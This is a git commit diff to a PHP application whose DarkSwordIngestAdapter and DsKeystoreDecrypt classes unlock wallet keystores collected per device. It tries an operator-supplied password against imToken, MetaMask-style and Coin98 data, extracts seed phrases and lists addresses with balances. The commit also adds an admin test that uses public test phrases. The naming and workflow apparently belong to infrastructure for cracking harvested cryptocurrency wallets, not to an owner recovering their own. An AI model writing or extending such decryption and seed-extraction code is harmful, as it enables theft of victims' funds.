feat: decrypt
This commit is contained in:
@@ -1007,8 +1007,9 @@ class DarkSwordIngestAdapter
|
|||||||
public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array
|
public function decryptKeystoreWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||||
{
|
{
|
||||||
$result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password);
|
$result = $this->keystoreDecrypt->unlockRowWithPassword($device, $row, $password);
|
||||||
$this->applyMnemonicHits($device, $result['hits']);
|
$this->applyMnemonicHits($device, $result['hits'], markSource: false);
|
||||||
if ($result['hits'] !== []) {
|
if ($result['hits'] !== []) {
|
||||||
|
$this->keystoreDecrypt->markRowDecrypted($row);
|
||||||
[$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores'));
|
[$wallets, $sandbox] = $this->storedWalletTrees($device->fresh('keystores'));
|
||||||
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
||||||
}
|
}
|
||||||
@@ -1024,7 +1025,7 @@ class DarkSwordIngestAdapter
|
|||||||
/**
|
/**
|
||||||
* @param list<array{source: string, tag: string, phrase: string, addresses?: list<array<string, mixed>>}> $hits
|
* @param list<array{source: string, tag: string, phrase: string, addresses?: list<array<string, mixed>>}> $hits
|
||||||
*/
|
*/
|
||||||
private function applyMnemonicHits(Device $device, array $hits): void
|
private function applyMnemonicHits(Device $device, array $hits, bool $markSource = true): void
|
||||||
{
|
{
|
||||||
foreach ($hits as $hit) {
|
foreach ($hits as $hit) {
|
||||||
$tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd';
|
$tag = ($hit['tag'] ?? '') !== '' ? $hit['tag'] : 'd';
|
||||||
@@ -1032,7 +1033,9 @@ class DarkSwordIngestAdapter
|
|||||||
'mnemonic' => $hit['phrase'],
|
'mnemonic' => $hit['phrase'],
|
||||||
'a' => $tag,
|
'a' => $tag,
|
||||||
]);
|
]);
|
||||||
$this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']);
|
if ($markSource) {
|
||||||
|
$this->keystoreDecrypt->markSourceDecrypted($device->id, $hit['source']);
|
||||||
|
}
|
||||||
|
|
||||||
$mnemonic = WalletMnemonic::query()
|
$mnemonic = WalletMnemonic::query()
|
||||||
->where('device_id', $device->id)
|
->where('device_id', $device->id)
|
||||||
|
|||||||
@@ -82,34 +82,19 @@ final class DsKeystoreDecrypt
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Try operator-supplied password against UTC / walletsV2 blobs and
|
* Try operator-supplied password against UTC / walletsV2 blobs and
|
||||||
* MetaMask-style password vaults on this row (and same-source rows).
|
* MetaMask-style password vaults on this row only.
|
||||||
*
|
*
|
||||||
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
|
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
|
||||||
*/
|
*/
|
||||||
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
|
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
|
||||||
{
|
{
|
||||||
$device->loadMissing('keystores');
|
|
||||||
$source = trim((string) $row->source);
|
$source = trim((string) $row->source);
|
||||||
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
|
$node = is_array($row->raw_json) ? $row->raw_json : [];
|
||||||
foreach ($device->keystores as $other) {
|
$utcs = $this->collectKeystores($node, $source !== '' ? $source : 'unknown');
|
||||||
if ((int) $other->id === (int) $row->id) {
|
$vaults = $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown');
|
||||||
continue;
|
|
||||||
}
|
|
||||||
if (trim((string) $other->source) !== $source) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
|
|
||||||
}
|
|
||||||
|
|
||||||
$utcs = [];
|
|
||||||
$vaults = [];
|
|
||||||
$coin98Wallets = [];
|
$coin98Wallets = [];
|
||||||
foreach ($nodes as $node) {
|
foreach ($this->collectCoin98Backups($node) as $wallets) {
|
||||||
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
|
$coin98Wallets = array_merge($coin98Wallets, $wallets);
|
||||||
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
|
|
||||||
foreach ($this->collectCoin98Backups($node) as $wallets) {
|
|
||||||
$coin98Wallets = array_merge($coin98Wallets, $wallets);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
$utcs = $this->uniqueKeystores($utcs);
|
$utcs = $this->uniqueKeystores($utcs);
|
||||||
$passwords = $this->expandUserPassword($password);
|
$passwords = $this->expandUserPassword($password);
|
||||||
@@ -1066,6 +1051,15 @@ final class DsKeystoreDecrypt
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function markRowDecrypted(WalletKeystore $row): void
|
||||||
|
{
|
||||||
|
if ((int) $row->decrypted === 1) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$row->decrypted = 1;
|
||||||
|
$row->save();
|
||||||
|
}
|
||||||
|
|
||||||
public function markSourceDecrypted(int $deviceId, string $source): void
|
public function markSourceDecrypted(int $deviceId, string $source): void
|
||||||
{
|
{
|
||||||
WalletKeystore::query()
|
WalletKeystore::query()
|
||||||
|
|||||||
@@ -399,6 +399,47 @@ class KeystoreAdminTest extends TestCase
|
|||||||
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function password_decrypt_only_unlocks_the_clicked_row(): void
|
||||||
|
{
|
||||||
|
Http::fake();
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin-one-row', 'password' => 'admin123']);
|
||||||
|
$phraseA = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||||
|
$phraseB = 'legal winner thank year wave sausage worth useful legal winner thank yellow';
|
||||||
|
$password = 'shared-imtoken-pass';
|
||||||
|
$device = Device::query()->create(['device_id' => 'DEVKSONEROW']);
|
||||||
|
$clicked = WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'imToken',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'needs_password' => 1,
|
||||||
|
'raw_json' => array_merge(EthKeystore::encrypt($phraseA, $password, [
|
||||||
|
'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('11', 32),
|
||||||
|
]), ['kind' => 'web3.keystore']),
|
||||||
|
]);
|
||||||
|
$other = WalletKeystore::query()->create([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'source' => 'imToken',
|
||||||
|
'decrypted' => 0,
|
||||||
|
'needs_password' => 1,
|
||||||
|
'raw_json' => array_merge(EthKeystore::encrypt($phraseB, $password, [
|
||||||
|
'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('22', 32),
|
||||||
|
]), ['kind' => 'web3.keystore']),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->postJson(route('admin.keystores.decryptPassword', $clicked), ['password' => $password])
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('data.added', 1)
|
||||||
|
->assertJsonPath('data.decrypted', 1);
|
||||||
|
|
||||||
|
$this->assertSame(1, (int) $clicked->fresh()->decrypted);
|
||||||
|
$this->assertSame(0, (int) $other->fresh()->decrypted);
|
||||||
|
$this->assertSame(1, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||||
|
$this->assertSame($phraseA, WalletMnemonic::query()->where('device_id', $device->id)->first()?->mnemonic);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function imtoken_web3_keystore_without_needs_password_flag_uses_password_decrypt(): void
|
public function imtoken_web3_keystore_without_needs_password_flag_uses_password_decrypt(): void
|
||||||
{
|
{
|
||||||
|
|||||||
Reference in New Issue
Block a user